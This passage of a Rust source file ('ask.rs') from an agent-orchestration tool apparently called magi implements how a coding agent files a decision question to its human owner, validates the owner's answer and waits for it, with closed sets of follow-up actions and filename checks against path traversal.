Skip to main content

magi/
ask.rs

1//! Questions: what an agent does when the next decision is the owner's.
2//!
3//! An agent that reaches a fork it has no authority to take - which storage
4//! backend, whether a breaking change is acceptable, which of two readings of
5//! the task is meant - has two options. It can guess, and produce an
6//! implementation the owner throws away; or it can stop and ask. This module is
7//! the second option, and it is the reason the graph can be left alone
8//! overnight without also being left to invent product decisions.
9//!
10//! Stopping is cheap on purpose. The run parks as [`RunStatus::Waiting`], which
11//! [`crate::daemon::settle`] refunds, so a question does not spend a task's
12//! retry budget: an operator who asks twice would otherwise come back to a held
13//! task that never had a line of code judged.
14//!
15//! # Shape
16//!
17//! Deliberately the same split as [`crate::queue`]. [`Question`] is data plus
18//! *pure* transitions - [`Question::answer`] is where a phone posting a choice
19//! the question never offered is rejected, and it touches no disk. [`Questions`]
20//! owns all I/O and is constructed with its root, so a test drives a real store
21//! in a temp directory without touching the operator's real home.
22//!
23//! One question is one JSON file under [`Questions`]'s root, written atomically.
24//! Files rather than a database because three processes read and write these
25//! records - the run that asked, `magi web` serving the phone, and `magi answer`
26//! at a terminal - and a rename is the only cross-process atomic write that
27//! needs no coordination between them. It is also why the wait below polls: the
28//! answer arrives in a file written by a process this one has no channel to.
29//!
30//! [`RunStatus::Waiting`]: crate::run::RunStatus::Waiting
31
32use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43/// On-disk format for a question. Bumped when a field's meaning changes, or -
44/// as with [`Question::thread`], [`Question::answer_timeout`] and now the
45/// waiter bookkeeping ([`Question::cwd`], [`Question::waiter`],
46/// [`Question::delivered_turns`], [`Question::answer_delivered`]) - when a
47/// new field is added that a much older magi has no notion of at all.
48///
49/// The web UI is written against this shape by hand - there is no shared schema
50/// between the front end and this struct - so a field that changes meaning
51/// without a bump here is a UI that lies silently.
52///
53/// A file is refused only when its own `schema` is *greater* than this one -
54/// see [`read_path`] - never merely different: `#[serde(default)]` on every
55/// field added since 1 is what makes an older file's absence of `thread` mean
56/// "no conversation yet" rather than "unreadable", and a strict equality check
57/// would turn every bump into an upgrade that breaks reading yesterday's
58/// question files.
59/// Schema 8 adds optional local posting comparison data. Older questions use Markdown.
60/// Schema 9 preserves individual original triggers inside whole-field replacements.
61/// Schema 10 records the operator decision generation for built-in triage.
62/// Schema 11 binds merge decisions to the displayed PR and head.
63/// Schema 12 adds closed, daemon-applied maintenance choice actions.
64/// Schema 13 records an ended consultation without resolving its question.
65pub const SCHEMA: u32 = 13;
66
67/// How often the wait re-reads the question file.
68///
69/// Three seconds: the answer comes from a human on a phone, so the difference
70/// between three seconds and three hundred milliseconds is invisible to them,
71/// while a tight loop would `stat` and parse a file thousands of times per
72/// minute for a wait that routinely lasts hours. Nothing is held between polls -
73/// no lock, no open handle - because `magi web` and `magi answer` write the
74/// same file from other processes.
75const POLL: Duration = Duration::from_secs(3);
76
77/// How long an agent's reply may go unnoticed before it earns its own
78/// notification.
79///
80/// An operator reading the card when the agent replies does not need paging
81/// again for a conversation they are already in; one who walked away still
82/// needs the tap on the shoulder. Five minutes is a judgement call about that
83/// line, not a policy a repository has an opinion about, which is why it lives
84/// here rather than in `magi.toml`: the operator cannot tell from `magi.toml`
85/// whether they are still looking at the phone, and neither can this build, so
86/// there is nothing for a per-repository setting to be *right* about.
87const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
88
89/// How long the operator's notification command may run before it is killed.
90///
91/// A webhook that hangs must not hang the run. Twenty seconds is long enough
92/// for a slow HTTP round trip and short enough that the operator still gets the
93/// question filed and the run parked in a bounded time.
94const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
95
96/// The longest a single `magi ask` invocation may block on the owner before
97/// it hands the wait back to whatever is running it, rather than to
98/// [`Question::abandon`].
99///
100/// `answer_timeout` defaults to a day, and that is a deadline for the
101/// *question*, not a budget the calling process is free to spend all at
102/// once: an agent CLI's own shell tool kills a command that runs much longer
103/// than this, and the child it kills is `magi ask` itself - the one thing
104/// that would have read the owner's answer. Run 20260908-205802-c9eb is what
105/// that looks like end to end: seat `impl-A` asked, its tool timed the wait
106/// out, and the seat's own summary said it had backgrounded the blocking
107/// `magi ask` and would "continue once the owner replies" - except nothing
108/// was left to notice the reply. The seat exited `completed`, the
109/// backgrounded child died with it, and the owner's eventual answer on the
110/// web UI had nobody left to read it.
111///
112/// So a wait is sliced instead: this call blocks for at most `WAIT_SLICE`
113/// and returns [`Wait::Pending`] if nothing happened, which is not a
114/// failure - the caller runs `magi ask --wait <id>` again, in a fresh
115/// process the tool timeout has never seen. Four minutes leaves a ten-minute
116/// tool budget room for the CLI's own startup and the notification's round
117/// trip, while staying long enough that an owner who answers within the hour
118/// is not making an agent loop through fifteen slices to hear about it.
119const WAIT_SLICE: Duration = Duration::from_secs(240);
120
121/// How long a lease stays believable after its last beat.
122///
123/// Longer than [`WAIT_SLICE`]'s hand-back gap by a wide margin: a slice that
124/// ends with [`Wait::Pending`] leaves the asking agent a moment to call
125/// `magi ask --wait` again, and a reply leaves it a moment to call `--thread`.
126/// A holder that beats every [`POLL`] and is silent for ninety seconds is gone
127/// or about to be, and a lease that is merely between two calls must not be
128/// mistaken for that - the daemon waiter would start a second agent on a
129/// conversation the first is still in.
130pub const LEASE_TTL: Duration = Duration::from_secs(90);
131
132/// How long [`Questions::update`]'s lock may be held before it is presumed
133/// left behind by a writer that died.
134const LOCK_STALE: Duration = Duration::from_secs(10);
135
136/// Environment variable naming the base URL of the web UI, for `{url}`.
137///
138/// A run cannot discover this by itself: `magi web` is a different process,
139/// usually started by hand and often on a different machine on the tailnet, and
140/// the address it settled on (Tailscale IP, port, or the fallback it warned
141/// about) exists only in that process. So the operator names it once, in the
142/// environment `magi serve` runs in - `magi web --open` prints exactly the
143/// string to use on stdout. Unset means `{url}` expands to nothing rather than
144/// to a guess: a notification carrying a link to an address nothing is
145/// listening on is worse than one carrying no link at all.
146pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
147
148/// Largest panel magi will store, html plus assets.
149///
150/// Checked as a total, before a single byte is written, because the failure
151/// this prevents is not a full disk but a half-copied panel: an agent that
152/// points at a 200 MB screen recording must get one clean error, not a
153/// directory holding the three small files that fitted before the copy died.
154/// Eight mebibytes is far more than a diff, a table and a handful of images
155/// need, and small enough that a phone on a hotel link still renders it.
156pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
157
158/// Suffix of the directory holding one question's panel.
159///
160/// A sibling of `<id>.json` rather than a subdirectory of the store, so
161/// [`Questions::list`] - which takes every `*.json` in the root - cannot ever
162/// see it, and so a panel travels with the question it belongs to.
163const PANEL_DIR: &str = ".panel";
164
165/// The panel's entry point inside its directory.
166const PANEL_HTML: &str = "index.html";
167
168/// Scratch directory a panel is assembled in before it is swapped into place.
169const PANEL_TMP: &str = ".panel.tmp";
170
171/// The one asset filename rule, applied on write **and** on read.
172///
173/// Exactly `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$`, and additionally never
174/// containing `..`. The pattern is this narrow because the name arrives from
175/// two untrusted directions and is then joined onto a path: an agent naming
176/// the asset, and a URL naming it back to [`Questions::panel_asset`]. Every
177/// character that could change what the join means is outside the set - `/`
178/// and `\` cannot appear, so no name can descend or escape; a leading `.` is
179/// refused, so no name can be `..`, `.` or a dotfile; a drive letter's `:` is
180/// refused, which matters because on Windows `Path::join` with an absolute
181/// path *discards the whole prefix* and would serve any file on the disk.
182/// `..` is refused anywhere rather than only at the front so the rule reads
183/// the same as the sentence "no traversal" to anyone auditing it.
184///
185/// The length bound keeps a name inside every filesystem's limit, so a panel
186/// that stores cannot fail to store on the operator's other machine.
187pub fn valid_asset_name(name: &str) -> bool {
188    if name.is_empty() || name.len() > 64 || name.contains("..") {
189        return false;
190    }
191    let mut chars = name.chars();
192    chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
193        && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
194}
195
196/// Where a question is in its life.
197#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
198#[serde(rename_all = "lowercase")]
199pub enum QuestionStatus {
200    /// Asked, and waiting for the owner. A run is parked behind it.
201    Open,
202    /// The owner decided. [`Question::answer`] holds what they said.
203    Answered,
204    /// Nobody answered in time, or the question outlived the run that asked.
205    /// Kept rather than deleted: what was asked and never answered is the
206    /// evidence that the operator was the bottleneck.
207    Abandoned,
208}
209
210impl QuestionStatus {
211    /// Is a run still parked behind this question?
212    pub fn open(self) -> bool {
213        matches!(self, Self::Open)
214    }
215
216    /// Lowercase name, as it appears on disk and in the API.
217    pub fn as_str(self) -> &'static str {
218        match self {
219            Self::Open => "open",
220            Self::Answered => "answered",
221            Self::Abandoned => "abandoned",
222        }
223    }
224}
225
226/// What the owner said.
227///
228/// Two shapes rather than one string because the question decides which is
229/// admissible, and [`Question::answer`] enforces it. A phone that posts
230/// `{"choice": "Redis"}` to a question that never offered Redis is a bug in the
231/// front end, and it is caught here rather than handed to an agent as fact.
232#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
233#[serde(rename_all = "lowercase")]
234pub enum Answer {
235    /// One of the offered choices, verbatim.
236    Choice(String),
237    /// Free text, for a question that offered no choices.
238    Text(String),
239}
240
241/// What the daemon does to the task behind a question when a particular
242/// choice is answered.
243///
244/// A closed set, attached to a choice by the asker (`magi ask --choice X
245/// --action X=resume`) and matched by the choice's exact text. Nothing here
246/// is ever derived from the wording of a label or of a free-text answer: a
247/// question without an action for the chosen label does nothing but answer.
248#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
249#[serde(tag = "do", rename_all = "lowercase")]
250pub enum ChoiceAction {
251    /// Resume this run of the task that owns the question.
252    Resume {
253        /// The run to continue. Must still be the task's latest run.
254        run: String,
255    },
256    /// Resume a named execution through the shared driver service.
257    ResumeRun {
258        /// Exact run ID; never a prefix resolved at application time.
259        run: String,
260    },
261    /// Release only the exact hold the question was filed about.
262    ReleaseTask {
263        /// Exact queue task ID.
264        task: String,
265        /// Start of the hold observed when filing the question.
266        held_at: jiff::Timestamp,
267        /// Exact hold reason (including its absence) observed when filing.
268        reason: Option<String>,
269    },
270    /// Rerun these failed workflow runs once, on this exact PR head.
271    RerunChecks {
272        /// Repository used for forge access.
273        repo: PathBuf,
274        /// Named pull request URL or number.
275        pr: String,
276        /// Commit whose checks the owner saw.
277        head: String,
278        /// Failed workflow run IDs, bounded to twenty.
279        runs: Vec<String>,
280    },
281    /// End a predecessor only after the shared driver judge proves it dead.
282    AbandonRun {
283        /// Exact predecessor run ID.
284        run: String,
285    },
286    /// Requeue the task as a fresh competition.
287    Requeue,
288    /// Hold the task until the operator releases it.
289    Hold,
290    /// Close the task as done.
291    Done,
292}
293
294impl ChoiceAction {
295    /// Queue owners affected by a named maintenance action.
296    pub fn targets(&self, task: &crate::queue::Task) -> bool {
297        match self {
298            Self::ReleaseTask { task: id, .. } => task.id == *id,
299            Self::ResumeRun { run } | Self::AbandonRun { run } | Self::Resume { run } => {
300                task.runs.contains(run)
301            }
302            _ => false,
303        }
304    }
305
306    /// Maintenance effects are applied exclusively by the daemon.
307    pub fn maintenance(&self) -> bool {
308        matches!(
309            self,
310            Self::ResumeRun { .. }
311                | Self::ReleaseTask { .. }
312                | Self::RerunChecks { .. }
313                | Self::AbandonRun { .. }
314        )
315    }
316
317    /// Parse a `--action` value: `<label>=<verb>`, where the verb is
318    /// `resume[:<run>]`, `requeue`, `hold` or `done`. A `resume` without a run takes
319    /// `default_run` (the asker's own `MAGI_RUN`). Returns the label and its
320    /// action; whether the label is one of the choices is the caller's check.
321    pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
322        let split = spec
323            .find("={")
324            .map(|at| (&spec[..at], &spec[at + 1..]))
325            .or_else(|| spec.rsplit_once('='));
326        let Some((label, verb)) = split else {
327            bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|hold|done>`");
328        };
329        let label = label.trim();
330        if label.is_empty() {
331            bail!("`--action {spec}` names no choice before `=`");
332        }
333        let verb = verb.trim();
334        if verb.starts_with('{') {
335            let action = serde_json::from_str(verb).context("parse typed choice action")?;
336            return Ok((label.to_owned(), action));
337        }
338        let action = match verb.split_once(':') {
339            Some(("resumerun", run)) if !run.trim().is_empty() => Self::ResumeRun {
340                run: run.trim().into(),
341            },
342            Some(("abandonrun", run)) if !run.trim().is_empty() => Self::AbandonRun {
343                run: run.trim().into(),
344            },
345            Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
346                run: run.trim().to_owned(),
347            },
348            None if verb == "resume" => {
349                if default_run.is_empty() {
350                    bail!("`--action {spec}` names no run and MAGI_RUN is not set");
351                }
352                Self::Resume {
353                    run: default_run.to_owned(),
354                }
355            }
356            None if verb == "requeue" => Self::Requeue,
357            None if verb == "hold" => Self::Hold,
358            None if verb == "done" => Self::Done,
359            _ => bail!(
360                "unknown action `{verb}` in `--action {spec}`; \
361                 use resume[:<run>], requeue, hold or done"
362            ),
363        };
364        Ok((label.to_owned(), action))
365    }
366
367    /// Stable aliases for internal recovery, independent of display labels.
368    /// Other effects still require their offered labels and existing consent.
369    pub fn matches_alias(&self, input: &str) -> bool {
370        let input = input.trim();
371        match self {
372            Self::Resume { run } => {
373                [
374                    "resume",
375                    "resume run",
376                    "resume-run",
377                    "再開",
378                    "実行再開",
379                    "実行を再開",
380                    "実行を再開する",
381                ]
382                .iter()
383                .any(|alias| input.eq_ignore_ascii_case(alias))
384                    || [
385                        format!("resume {run}"),
386                        format!("resume:{run}"),
387                        format!("resume run {run}"),
388                        format!("resume {}", short(run)),
389                        format!("resume run {}", short(run)),
390                    ]
391                    .iter()
392                    .any(|alias| input.eq_ignore_ascii_case(alias))
393            }
394            Self::Hold => ["hold", "keep-held", "keep held", "保留"]
395                .iter()
396                .any(|alias| input.eq_ignore_ascii_case(alias)),
397            _ => false,
398        }
399    }
400
401    /// Short human wording, for `magi show` and the card.
402    pub fn describe(&self) -> String {
403        match self {
404            Self::Resume { run } => format!("resume run {}", short(run)),
405            Self::ResumeRun { run } => format!("resume run {}", short(run)),
406            Self::ReleaseTask { task, .. } => format!("release held task {}", short(task)),
407            Self::RerunChecks { pr, .. } => format!("rerun failed checks of {pr} once"),
408            Self::AbandonRun { run } => format!("abandon proven stopped run {}", short(run)),
409            Self::Requeue => "requeue the task".to_owned(),
410            Self::Hold => "hold the task until the operator releases it".to_owned(),
411            Self::Done => "mark the task done".to_owned(),
412        }
413    }
414}
415
416/// Parse every `--action` value against the offered `choices`, refusing a
417/// label the question does not offer (it could never fire).
418pub fn parse_actions(
419    specs: &[String],
420    choices: &[String],
421    default_run: &str,
422) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
423    let mut out = std::collections::BTreeMap::new();
424    for spec in specs {
425        let (label, action) = ChoiceAction::parse(spec, default_run)?;
426        if !choices.contains(&label) {
427            bail!(
428                "`--action {spec}`: `{label}` is not one of the --choice values ({})",
429                choices.join(", ")
430            );
431        }
432        if out.insert(label.clone(), action).is_some() {
433            bail!("more than one --action for `{label}`");
434        }
435    }
436    Ok(out)
437}
438
439/// Who wrote one turn of a question's conversation.
440///
441/// Two values, not three: [`Question::thread`] is the record of a single
442/// question stopping and resuming, and the agent that resumes it is always
443/// the one that asked - a fresh consultant would have to be caught up on
444/// everything the first agent already knows, which is the round trip this
445/// module exists to avoid. The names and the wire spelling deliberately match
446/// [`crate::chat::Who`], which this module does not depend on: the two are the
447/// same idea in two products, and giving them the same shape is what lets the
448/// phone render both with one component.
449#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
450#[serde(rename_all = "lowercase")]
451pub enum Who {
452    /// The person the agent asked.
453    Operator,
454    /// The agent that asked, replying to a question of its own rather than
455    /// answering.
456    Agent,
457}
458
459/// One turn in a question's back-and-forth, after the question itself was
460/// asked.
461///
462/// The question's own `summary`/`detail`/`choices` already carry the agent's
463/// opening move, so a turn only exists from the moment the owner talks back -
464/// [`Question::thread`] starts empty and stays that way for the overwhelming
465/// majority of questions, which are answered on the first read.
466#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
467#[serde(deny_unknown_fields)]
468pub struct Turn {
469    /// Who said it.
470    pub who: Who,
471    /// What they said.
472    pub body: String,
473    /// When they said it.
474    pub at: Timestamp,
475    /// A deputy's own report beside a settle: side effects it caused and
476    /// requests it could not carry out. The deputy's claim, never checked by
477    /// magi, and kept apart from `body` so the verified "Settled as" line and
478    /// this self-report cannot be mistaken for each other.
479    #[serde(default, skip_serializing_if = "Option::is_none")]
480    pub note: Option<String>,
481}
482
483/// Who is keeping watch over an open question.
484#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
485#[serde(rename_all = "lowercase")]
486pub enum WaiterKind {
487    /// The `magi ask` process the agent started.
488    Asker,
489    /// The `magi serve` waiter ([`crate::waiter`]), resuming the asking seat's
490    /// own session because the asker is gone.
491    Daemon,
492    /// The question's deputy ([`crate::deputy`]): a short-lived seat that
493    /// `magi serve` runs for a question the conductor filed, so that something
494    /// which remembers why it was asked is on the other end.
495    Deputy,
496}
497
498/// The follow-up seat a conductor question hands its wait to.
499///
500/// The conductor itself never waits (see [`crate::conduct`]), so a free-text
501/// reply to its question would reach nobody. A deputy is a seat of its own -
502/// keyed `deputy-<question id>`, never the conductor's shared seat - that
503/// inherits what the conductor knew about this one question ([`Deputy::brief`])
504/// and blocks on it with `magi ask --wait`. Persisted on the question so a
505/// restarted daemon resumes the same CLI conversation instead of assuming it.
506///
507/// Written only through [`Questions::update`]: the owner's say and answer land
508/// on the same file.
509#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
510pub struct Deputy {
511    /// Why the question was asked, what each choice leads to: the conductor's
512    /// context for this one question, handed to the deputy in its prompt.
513    pub brief: String,
514    /// The agent that holds the seat. Empty until the first start.
515    #[serde(default)]
516    pub agent: String,
517    /// The deputy's own conversation. `None` until the first start.
518    #[serde(default)]
519    pub seat: Option<crate::agent::SeatState>,
520    /// How many times a deputy turn was started for this question. Never reset
521    /// by a restart, so a deputy that keeps dying is bounded.
522    #[serde(default)]
523    pub starts: u32,
524}
525
526impl Deputy {
527    /// A deputy that has not started yet, holding `brief`.
528    pub fn new(brief: String) -> Self {
529        Self {
530            brief,
531            agent: String::new(),
532            seat: None,
533            starts: 0,
534        }
535    }
536}
537
538/// Seat name of the deputy for question `id`.
539pub fn deputy_seat_key(id: &str) -> String {
540    format!("deputy-{}", short(id))
541}
542
543/// The record's note of who was last known to be waiting.
544///
545/// A note, not a promise: nothing rewrites the question when a holder dies, so
546/// whether it still holds is read from the [`Lease`] beside it.
547#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
548pub struct Waiter {
549    /// Who took the wait.
550    pub kind: WaiterKind,
551    /// When they took it.
552    pub since: Timestamp,
553}
554
555/// A sidecar (`<id>.lease`) saying that something is alive and waiting.
556///
557/// A sidecar rather than a field of the question because a holder beats every
558/// few seconds, and rewriting the question that often would race the phone's
559/// answer and say with lost updates. It is not `*.json`, so
560/// [`Questions::list`] never sees it. No pid check: pids are reused and mean
561/// different things across platforms, while a beat that stopped is evidence on
562/// every one.
563#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
564pub struct Lease {
565    /// Who beat last.
566    pub kind: WaiterKind,
567    /// Their process id, for a human reading the file.
568    pub pid: u32,
569    /// When they beat last.
570    pub beat_at: Timestamp,
571}
572
573impl Lease {
574    /// Was the last beat recent enough to believe the holder is still there?
575    pub fn fresh(&self, now: Timestamp) -> bool {
576        now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
577    }
578}
579
580/// One decision magi will not take on the owner's behalf.
581#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
582#[serde(deny_unknown_fields)]
583pub struct Question {
584    /// On-disk format version.
585    pub schema: u32,
586    /// Question id, e.g. `20260902-231501-ab12`. Same shape as a run's and a
587    /// task's, so the operator can paste any of them at any prefix argument.
588    pub id: String,
589    /// Run that is parked behind this question.
590    pub run: String,
591    /// Graph node the asking agent was working in, e.g. `implement`.
592    pub node: String,
593    /// Seat that asked, e.g. `impl-A`. Recorded because "which agent needs
594    /// this" decides whether the answer unblocks one candidate or all of them.
595    pub seat: String,
596    /// One line: the question itself. This is what a notification carries and
597    /// what the phone shows above the answer controls.
598    pub summary: String,
599    /// The reasoning behind the question, as markdown. May be long, may be
600    /// empty. Rendered as text nodes by the UI, never as markup.
601    pub detail: String,
602    /// Display-only comparison; never used to decide or construct a post.
603    #[serde(default, skip_serializing_if = "Option::is_none")]
604    pub posting_comparison: Option<crate::github_text::PostingComparison>,
605    /// The admissible answers. **Empty means free text** - that one condition
606    /// is the whole difference between the two kinds of question, on disk, in
607    /// the UI, and in [`Question::answer`]'s validation.
608    pub choices: Vec<String>,
609    /// Exact PR and head displayed to the owner. Absent on legacy questions.
610    #[serde(default)]
611    pub merge_target: Option<crate::merge_decision::Target>,
612    /// Task decision outbox; retained until task-chat delivery is durable.
613    #[serde(default)]
614    pub routed_task: Option<String>,
615    /// Set after delivery; merge consent remains in this record.
616    #[serde(default)]
617    pub routed_chat: Option<String>,
618    /// Literal replacement title supplied with a routed publication decision.
619    /// This is publication data, not owner-consent evidence.
620    #[serde(default, skip_serializing_if = "Option::is_none")]
621    pub publication_title: Option<String>,
622    /// What the daemon does when a given choice is answered, keyed by the
623    /// choice's exact text. Empty for an ordinary question. A key is always
624    /// one of [`Question::choices`]; `#[serde(default)]` so older files read.
625    #[serde(default)]
626    pub actions: std::collections::BTreeMap<String, ChoiceAction>,
627    /// Does this question have an agent-authored HTML panel beside it?
628    ///
629    /// Serialised with a default so a question written by an older magi - or
630    /// by hand - still deserialises rather than failing the whole store, which
631    /// under [`Questions::list`]'s skip-unreadable rule would quietly hide the
632    /// open question the operator was looking for.
633    #[serde(default)]
634    pub panel: bool,
635    /// Files copied in beside the panel's html, by base name, sorted.
636    ///
637    /// The list exists so a reader knows what a panel is made of without
638    /// walking the directory, and every entry satisfies [`valid_asset_name`].
639    /// Sorted because it is compared - a question re-asked with the same
640    /// assets in a different argument order is not a different question.
641    #[serde(default)]
642    pub assets: Vec<String>,
643    /// Current state.
644    pub status: QuestionStatus,
645    /// When the agent asked.
646    pub asked_at: Timestamp,
647    /// Operator decision generation when a built-in triage question was filed.
648    #[serde(default)]
649    pub triage_generation: Option<u64>,
650    /// When the owner answered, if they did.
651    pub answered_at: Option<Timestamp>,
652    /// What they said.
653    pub answer: Option<Answer>,
654    /// Everything said after the question itself, oldest first: the owner
655    /// asking back, the agent replying, as many times as it takes before an
656    /// [`Answer`] lands.
657    ///
658    /// `#[serde(default)]` so a question written before this field existed -
659    /// every question on disk before this build - still deserialises as one
660    /// with no conversation yet, rather than failing [`Questions::list`]'s
661    /// read and quietly hiding an open question from the operator.
662    #[serde(default)]
663    pub thread: Vec<Turn>,
664    /// The `answer_timeout`, in seconds, that was in force when this question
665    /// was first asked. `0` means unrecorded - a question written before this
666    /// field existed, or one filed by a flow (land's merge-approval gate)
667    /// that never sets it because it never resumes a sliced wait.
668    ///
669    /// [`Question::new`] cannot know this - the effective timeout (`--timeout`,
670    /// or the config default) is decided by the caller, after the question
671    /// already exists - so it starts at `0` here and whoever files a fresh
672    /// question sets it once, the same way [`Question::panel`] is set by
673    /// [`Questions::put_panel`] rather than by the constructor. It is never
674    /// touched again: `magi ask --wait` reads it as the one deadline it is
675    /// allowed to enforce, precisely so that a `--timeout` given (or omitted)
676    /// on a later call can never quietly extend or shrink the budget the
677    /// question was actually asked with.
678    #[serde(default)]
679    pub answer_timeout: u64,
680    /// The directory the asking agent was working in when it asked, so the
681    /// daemon waiter can resume that agent's session from where it stood.
682    /// `None` for a question no `magi ask` filed (land's approval gate, a
683    /// release notice, one written before this field existed): those have no
684    /// agent to hand anything back to, and the waiter leaves them alone.
685    #[serde(default)]
686    pub cwd: Option<String>,
687    /// Who was last known to be waiting - see [`Waiter`].
688    #[serde(default)]
689    pub waiter: Option<Waiter>,
690    /// How many entries of [`Question::thread`] the agent has been shown, by
691    /// the asking process printing them or by the waiter resuming the seat.
692    /// The owner's turn at an index at or past this has reached nobody yet.
693    #[serde(default)]
694    pub delivered_turns: usize,
695    /// Has the agent been told the [`Answer`]? The asker prints it as it
696    /// returns; the waiter delivers it when the asker was gone.
697    #[serde(default)]
698    pub answer_delivered: bool,
699    /// The follow-up seat waiting on this question, for a question the
700    /// conductor filed. `None` for every other question.
701    #[serde(default)]
702    pub deputy: Option<Deputy>,
703    /// Set once the owner handed this question to the chat it came from
704    /// ([`crate::consult::begin`]). The question stays open; this only records
705    /// that the chat was asked, so a second tap does not post it twice.
706    #[serde(default)]
707    pub consult: Option<ChatConsult>,
708    /// Persisted owner evidence for a standing conversation answer.
709    #[serde(default, skip_serializing_if = "Option::is_none")]
710    pub answer_authority: Option<crate::consult::AnswerAuthority>,
711    /// Owner decision outside the choices; ends consultation without answering.
712    #[serde(default, skip_serializing_if = "Option::is_none")]
713    pub consult_outcome: Option<crate::consult::ConsultOutcome>,
714    /// Independent task facts behind a conductor question. Answered questions
715    /// with unchanged facts must not be regenerated just to ask again.
716    #[serde(default)]
717    pub decision_context: Option<String>,
718}
719
720/// A question the owner passed to the chat conversation its task came from.
721#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
722pub struct ChatConsult {
723    /// The conversation the question was posted into.
724    pub talk: String,
725    /// When it was posted.
726    pub at: Timestamp,
727}
728
729impl Question {
730    /// Does `run` hold a task id rather than a run id? True for the
731    /// conductor's and the triage questions, which are filed about a task.
732    pub fn run_names_task(&self) -> bool {
733        matches!(
734            self.node.as_str(),
735            crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
736        )
737    }
738
739    /// Ask something. Persist it with [`Questions::put`], or hand it to
740    /// [`ask_and_wait`], which files it and waits.
741    pub fn new(
742        run: String,
743        node: String,
744        seat: String,
745        summary: String,
746        detail: String,
747        choices: Vec<String>,
748    ) -> Self {
749        Self {
750            schema: SCHEMA,
751            id: new_id(),
752            run,
753            node,
754            seat,
755            summary,
756            detail,
757            posting_comparison: None,
758            choices,
759            merge_target: None,
760            routed_task: None,
761            routed_chat: None,
762            publication_title: None,
763            actions: std::collections::BTreeMap::new(),
764            panel: false,
765            assets: Vec::new(),
766            status: QuestionStatus::Open,
767            asked_at: Timestamp::now(),
768            triage_generation: None,
769            answered_at: None,
770            answer: None,
771            thread: Vec::new(),
772            answer_timeout: 0,
773            cwd: None,
774            waiter: None,
775            delivered_turns: 0,
776            answer_delivered: false,
777            deputy: None,
778            consult: None,
779            answer_authority: None,
780            consult_outcome: None,
781            decision_context: None,
782        }
783    }
784
785    /// Short form used in reports and on the phone, matching a run's short id.
786    pub fn short(&self) -> &str {
787        short(&self.id)
788    }
789
790    /// The action attached to the choice that was answered, if the question
791    /// is answered with a choice that carries one. Free text never matches.
792    pub fn chosen_action(&self) -> Option<&ChoiceAction> {
793        match (&self.status, &self.answer) {
794            (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
795            _ => None,
796        }
797    }
798
799    /// Does this question want free text rather than one of a set?
800    pub fn free_text(&self) -> bool {
801        self.choices.is_empty()
802    }
803
804    /// Resolve terminal aliases to the exact stored label before authorization.
805    /// Aliases describe structured effects, never translated display text.
806    pub fn resolve_reply<'a>(&'a self, reply: &'a str) -> Result<&'a str> {
807        if self.free_text() || self.choices.iter().any(|c| c == reply) {
808            return Ok(reply);
809        }
810        if ChoiceAction::Hold.matches_alias(reply)
811            && let Some(label) = self
812                .choices
813                .iter()
814                .find(|label| crate::triage::contextual_keep_held(self, label))
815        {
816            return Ok(label);
817        }
818        let matches: Vec<_> = self
819            .actions
820            .iter()
821            .filter(|(label, action)| self.choices.contains(label) && action.matches_alias(reply))
822            .collect();
823        match matches.as_slice() {
824            [(label, _)] => Ok(label.as_str()),
825            [] => bail!(
826                "alias mismatch: `{reply}` is not an offered label or supported action alias; inspect `magi answer --list`"
827            ),
828            _ => bail!(
829                "ambiguous action alias: `{reply}` matches multiple choices; select the intended offered label"
830            ),
831        }
832    }
833
834    /// Record an answer. Rejects a choice the question does not offer, free
835    /// text on a multiple-choice question, an empty answer, and a second
836    /// answer.
837    ///
838    /// Every rejection here is a case where accepting would put a fabrication
839    /// in front of an agent as if the owner had said it. The messages are
840    /// distinct because the caller is a web handler that shows them verbatim,
841    /// and "that is not one of the choices" and "this question is multiple
842    /// choice" are different mistakes with different fixes.
843    pub fn answer(&mut self, answer: Answer) -> Result<()> {
844        self.answer_inner(answer)
845    }
846
847    /// Optional chat buttons validate the displayed conversation and PR head.
848    pub(crate) fn answer_chat_button(
849        &mut self,
850        answer: Answer,
851        talk: &str,
852        head: &str,
853    ) -> Result<()> {
854        anyhow::ensure!(
855            self.routed_chat.as_deref() == Some(talk),
856            "wrong approval chat"
857        );
858        anyhow::ensure!(
859            self.merge_target.as_ref().is_some_and(|t| t.head == head),
860            "stale approval head"
861        );
862        self.answer_inner(answer)
863    }
864
865    fn answer_inner(&mut self, answer: Answer) -> Result<()> {
866        match self.status {
867            QuestionStatus::Answered => bail!(
868                "question {} was already answered; the run has moved on and a \
869                 second answer would be a decision nobody acted on",
870                self.short()
871            ),
872            QuestionStatus::Abandoned => bail!(
873                "question {} was abandoned and the run behind it is gone",
874                self.short()
875            ),
876            QuestionStatus::Open => {}
877        }
878        let body = match &answer {
879            Answer::Choice(c) | Answer::Text(c) => c.as_str(),
880        };
881        if body.trim().is_empty() {
